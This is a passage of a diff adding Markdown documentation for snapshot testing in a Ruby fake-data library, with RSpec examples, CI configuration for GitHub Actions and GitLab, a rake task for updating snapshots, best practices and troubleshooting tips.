68
|
+
RSpec matcher for snapshot comparison.
|
|
69
|
+
|
|
70
|
+
```ruby
|
|
71
|
+
it "matches snapshot" do
|
|
72
|
+
data = schema.generate(seed: 42)
|
|
73
|
+
expect(data).to match_snapshot("user")
|
|
74
|
+
end
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
### `SnapshotTesting.generate_all_snapshots(registry, seed:)`
|
|
78
|
+
|
|
79
|
+
Generate snapshots for all schemas in a registry.
|
|
80
|
+
|
|
81
|
+
```ruby
|
|
82
|
+
registry = FakeDataDSL::Registry.new
|
|
83
|
+
registry.load_dir("schemas/")
|
|
84
|
+
|
|
85
|
+
FakeDataDSL::SnapshotTesting.generate_all_snapshots(registry, seed: 42)
|
|
86
|
+
# Creates: spec/snapshots/fake_data_dsl/user.json
|
|
87
|
+
# Creates: spec/snapshots/fake_data_dsl/order.json
|
|
88
|
+
# etc.
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
### `SnapshotTesting.verify_all_snapshots(registry, seed:)`
|
|
92
|
+
|
|
93
|
+
Verify all snapshots match.
|
|
94
|
+
|
|
95
|
+
```ruby
|
|
96
|
+
mismatches = FakeDataDSL::SnapshotTesting.verify_all_snapshots(registry, seed: 42)
|
|
97
|
+
|
|
98
|
+
if mismatches.any?
|
|
99
|
+
puts "Mismatched schemas: #{mismatches.join(', ')}"
|
|
100
|
+
exit 1
|
|
101
|
+
end
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
## Configuration
|
|
105
|
+
|
|
106
|
+
### Snapshot Directory
|
|
107
|
+
|
|
108
|
+
Default: `spec/snapshots/fake_data_dsl/`
|
|
109
|
+
|
|
110
|
+
```ruby
|
|
111
|
+
# Change snapshot directory
|
|
112
|
+
FakeDataDSL::SnapshotTesting.snapshot_dir = "spec/fixtures/snapshots"
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
## Testing All Schemas
|
|
116
|
+
|
|
117
|
+
### Dynamic Test Generation
|
|
118
|
+
|
|
119
|
+
```ruby
|
|
120
|
+
RSpec.describe "All Schema Snapshots" do
|
|
121
|
+
before(:all) do
|
|
122
|
+
FakeDataDSL.load_schemas("schemas/")
|
|
123
|
+
end
|
|
124
|
+
|
|
125
|
+
FakeDataDSL.each_schema do |schema|
|
|
126
|
+
it "#{schema.name} generates stable output" do
|
|
127
|
+
expect_snapshot(schema, seed: 42)
|
|
128
|
+
end
|
|
129
|
+
end
|
|
130
|
+
end
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
### Bulk Verification
|
|
134
|
+
|
|
135
|
+
```ruby
|
|
136
|
+
RSpec.describe "Schema Stability" do
|
|
137
|
+
it "all schemas match their snapshots" do
|
|
138
|
+
registry = FakeDataDSL::Registry.new
|
|
139
|
+
registry.load_dir("schemas/")
|
|
140
|
+
|
|
141
|
+
mismatches = FakeDataDSL::SnapshotTesting.verify_all_snapshots(registry, seed: 42)
|
|
142
|
+
|
|
143
|
+
expect(mismatches).to be_empty,
|
|
144
|
+
"Schemas with mismatched snapshots: #{mismatches.join(', ')}"
|
|
145
|
+
end
|
|
146
|
+
end
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
## CI Integration
|
|
150
|
+
|
|
151
|
+
### GitHub Actions
|
|
152
|
+
|
|
153
|
+
```yaml
|
|
154
|
+
# .github/workflows/schema-snapshots.yml
|
|
155
|
+
name: Schema Snapshots
|
|
156
|
+
|
|
157
|
+
on: [push, pull_request]
|
|
158
|
+
|
|
159
|
+
jobs:
|
|
160
|
+
test:
|
|
161
|
+
runs-on: ubuntu-latest
|
|
162
|
+
steps:
|
|
163
|
+
- uses: actions/checkout@v3
|
|
164
|
+
- uses: ruby/setup-ruby@v1
|
|
165
|
+
with:
|
|
166
|
+
ruby-version: 3.2
|
|
167
|
+
bundler-cache: true
|
|
168
|
+
|
|
169
|
+
- name: Run snapshot tests
|
|
170
|
+
run: bundle exec rspec spec/schemas/snapshots_spec.rb
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
### GitLab CI
|
|
174
|
+
|
|
175
|
+
```yaml
|
|
176
|
+
# .gitlab-ci.yml
|
|
177
|
+
schema-snapshots:
|
|
178
|
+
stage: test
|
|
179
|
+
script:
|
|
180
|
+
- bundle exec rspec spec/schemas/snapshots_spec.rb
|
|
181
|
+
only:
|
|
182
|
+
- merge_requests
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
## Updating Snapshots
|
|
186
|
+
|
|
187
|
+
### When to Update
|
|
188
|
+
|
|
189
|
+
Update snapshots when you intentionally change a schema:
|
|
190
|
+
|
|
191
|
+
```ruby
|
|
192
|
+
# In test file, temporarily set update: true
|
|
193
|
+
expect_snapshot(schema, seed: 42, update: true)
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
### Batch Update
|
|
197
|
+
|
|
198
|
+
```ruby
|
|
199
|
+
# Create a rake task
|
|
200
|
+
namespace :snapshots do
|
|
201
|
+
task :update do
|
|
202
|
+
require 'fake_data_dsl'
|
|
203
|
+
|
|
204
|
+
registry = FakeDataDSL::Registry.new
|
|
205
|
+
registry.load_dir("schemas/")
|
|
206
|
+
|
|
207
|
+
FakeDataDSL::SnapshotTesting.generate_all_snapshots(registry, seed: 42)
|
|
208
|
+
puts "Snapshots updated!"
|
|
209
|
+
end
|
|
210
|
+
end
|
|
211
|
+
```
|
|
212
|
+
|
|
213
|
+
```bash
|
|
214
|
+
bundle exec rake snapshots:update
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
## Best Practices
|
|
218
|
+
|
|
219
|
+
### 1. Use Consistent Seeds
|
|
220
|
+
|
|
221
|
+
Always use the same seed for deterministic output:
|
|
222
|
+
|
|
223
|
+
```ruby
|
|
224
|
+
# Good: Consistent seed
|
|
225
|
+
expect_snapshot(schema, seed: 42)
|
|
226
|
+
|
|
227
|
+
# Bad: No seed (non-deterministic)
|
|
228
|
+
expect_snapshot(schema)
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
### 2. Commit Snapshots to Git
|
|
232
|
+
|
|
233
|
+
Snapshots should be version controlled:
|
|
234
|
+
|
|
235
|
+
```bash
|
|
236
|
+
git add spec/snapshots/
|
|
237
|
+
git commit -m "Update schema snapshots"
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
### 3. Review Snapshot Changes
|
|
241
|
+
|
|
242
|
+
Always review snapshot diffs in pull requests:
|
|
243
|
+
|
|
244
|
+
```diff
|
|
245
|
+
# spec/snapshots/fake_data_dsl/user.json
|
|
246
|
+
{
|
|
247
|
+
- "email": "john@example.com",
|
|
248
|
+
+ "email": "john.doe@example.com",
|
|
249
|
+
"name": "John Doe"
|
|
250
|
+
}
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
### 4. Separate Snapshot Tests
|
|
254
|
+
|
|
255
|
+
Keep snapshot tests in their own files:
|
|
256
|
+
|
|
257
|
+
```
|
|
258
|
+
spec/
|
|
259
|
+
├── schemas/
|
|
260
|
+
│ └── snapshots_spec.rb # Snapshot tests
|
|
261
|
+
├── models/
|
|
262
|
+
│ └── user_spec.rb # Model tests
|
|
263
|
+
└── snapshots/
|
|
264
|
+
└── fake_data_dsl/ # Snapshot files
|
|
265
|
+
├── user.json
|
|
266
|
+
└── order.json
|
|
267
|
+
```
|
|
268
|
+
|
|
269
|
+
## Troubleshooting
|
|
270
|
+
|
|
271
|
+
### Snapshot Mismatch
|
|
272
|
+
|
|
273
|
+
```
|
|
274
|
+
expected generated data to match snapshot for User
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
**Solutions:**
|
|
278
|
+
1. If change is intentional: Update snapshot with `update: true`
|
|
279
|
+
2. If change is unintentional: Fix the schema
|
|
280
|
+
|
|
281
|
+
### Snapshot Not Found
|
|
282
|
+
|
|
283
|
+
```
|
|
284
|
+
snapshot not found: spec/snapshots/fake_data_dsl/user.json
|
|
285
|
+
```
|
|
286
|
+
|
|
287
|
+
**Solution:** Run tests with `update: true` to create initial snapshot.
|
|
288
|
+
|
|
289
|
+
### Non-Deterministic Data
|
|
290
|
+
|
|
291
|
+
Some types (like `now`) aren't deterministic even with seeds.
|
|
292
|
+
|
|
293
|
+
**Solution:** Override non-deterministic fields:
|
|
294
|
+
|
|
295
|
+
```ruby
|
|
296
|
+
it "generates stable output" do
|
|
297
|
+
data = schema.generate(seed: 42, overrides: {
|
|
298
|
+
"created_at" => "2024-01-01T00:00:00Z"
|
|
299
|
+
})
|
|
300
|
+
expect(data).to match_snapshot("user")
|
|
301
|
+
end
|
|
302
|
+
```
|
|
303
|
+
|
|
304
|
+
## See Also
|
|
305
|
+
|
|
306
|
+
- [Factory Bot Integration](FACTORY_BOT.md)
|
|
307
|
+
- [Property-Based Testing](PROPERTY_TESTING.md)
|
|
308
|
+
- [CI/CD Integration](../tech_docs/integration/ci_cd_guide.md)
|